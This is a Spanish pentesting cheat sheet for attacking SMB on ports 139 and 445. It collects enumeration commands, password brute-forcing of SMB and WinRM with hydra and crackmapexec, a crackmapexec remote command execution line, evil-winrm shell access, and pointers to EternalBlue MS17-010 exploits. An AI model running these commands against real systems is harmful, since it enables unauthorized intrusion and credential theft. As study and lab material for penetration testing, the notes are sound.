# 139,445 - SMB

###

## Comandos básicos

```
dir o ls # para listar directorio actual
get <archivo> # descargarnos en nuestra máquina un archivo
mget <carpeta> # descargarnos la carpeta entera a nuestra máquina un archivo
allinfo <archivo/carpeta> # saber el tamaño,permisos, atributso NTFS etc de dicho archivo/carpeta
```

### Enumerar servicio,info

```
enum4linux <IP> # comanda básica sin credenciales
enum4linux -a [-u "<usuario>" -p "<password>"] <IP> # con credenciales validas
nmap --script "smb-enum-*" -p445 <IP> # enumerar con nmap
nmap --script "vuln and safe" -p445 <IP> # checkear que haya vulns básicas de smb y safe para que no sea muy intrusiva
```

### Enumerar servicios,ficheros, carpetas etc

<pre><code><strong>#smbclient
</strong><strong>smbclient -L # listar servicios disponibles
</strong><strong>smbclient --no-pass -L //&#x3C;IP> # listar servicios disponibles sin credenciales (null user)
</strong>#smbmap
smbmap -H &#x3C;IP> [-P &#x3C;PORT>] # sin credenciales (null user)
smbmap -u "ususario" -p "pass" -H &#x3C;IP> [-P &#x3C;puerto>] # con credenciales
smbmap -H &#x3C;IP> -R &#x3C;share> # listar archivos en esta carpeta
#crackmapexec
crackmapexec smb &#x3C;IP> -u '' -p '' --shares #sin credenciales (null user)
crackmapexec smb &#x3C;IP> -u usuario -p pass --shares # con credenciales listar 
crackmapexec smb &#x3C;IP> -u usuario -p pass --users # listar usuarios
crackmapexec smb &#x3C;IP> -u usuario -p pass --groups # listar grupos
crackmapexec smb &#x3C;IP> -u usuario -p pass -x "whoami" # RCE
</code></pre>

### Fuerza bruta

```
# winrm
crackmapexec winrm <IP victima> -u user -p /usr/share/wordlists/rockyou.txt
# smb
crackmapexec smb <IP victima> -u user -p /usr/share/wordlists/rockyou.txt
# Linux
hydra -l <user> -P /usr/share/wordlists/rockyou.txt smb://<IP victima>
```

### Conectarte al recurso

```
smbclient --no-pass //<IP>/<carpeta> # sin credenciales
smbclient //<IP>/<ruta> -U=user%password # con credenciales
```

### Descargar archivo

```
sudo smbmap -R carpeta -H <IP> -A <archivo> -q # descargar a tu maquina local
```

### Crear servidor smb con python

```
smbserver.py EjemploSmb $(pwd)
```

### Evil-winrm

Si es el caso que con crackmapexec hemos conseguido credenciales del sistema y no esta el RDP abierto, podemos acceder mediante evil-winrm que utiliza el protocolo winrm para acceder al sistema victima y tener una shell

```
evil-winrm -i <IP/Domain> -u <user> -p <password>
```

## Eternalblue ms17-010

Para solucionar el error de impacket a la hora de ejecutar los scripts dejo un link que medio soluciona el problema <https://abhishekgk.medium.com/solution-impacket-error-ms17-010-a7787ebacf84>

{% embed url="<https://github.com/worawit/MS17-010>" %}
Link github
{% endembed %}

Si por ejemplo al hacer el check no sale todos los test en `STATUS_ACCESS_DENIED` prueba de entrar en el script y añadir a `USERNAME = ''` el usuario guest y vuelve a ejecutar.

{% embed url="<https://github.com/d4t4s3c/Win7Blue>" %}
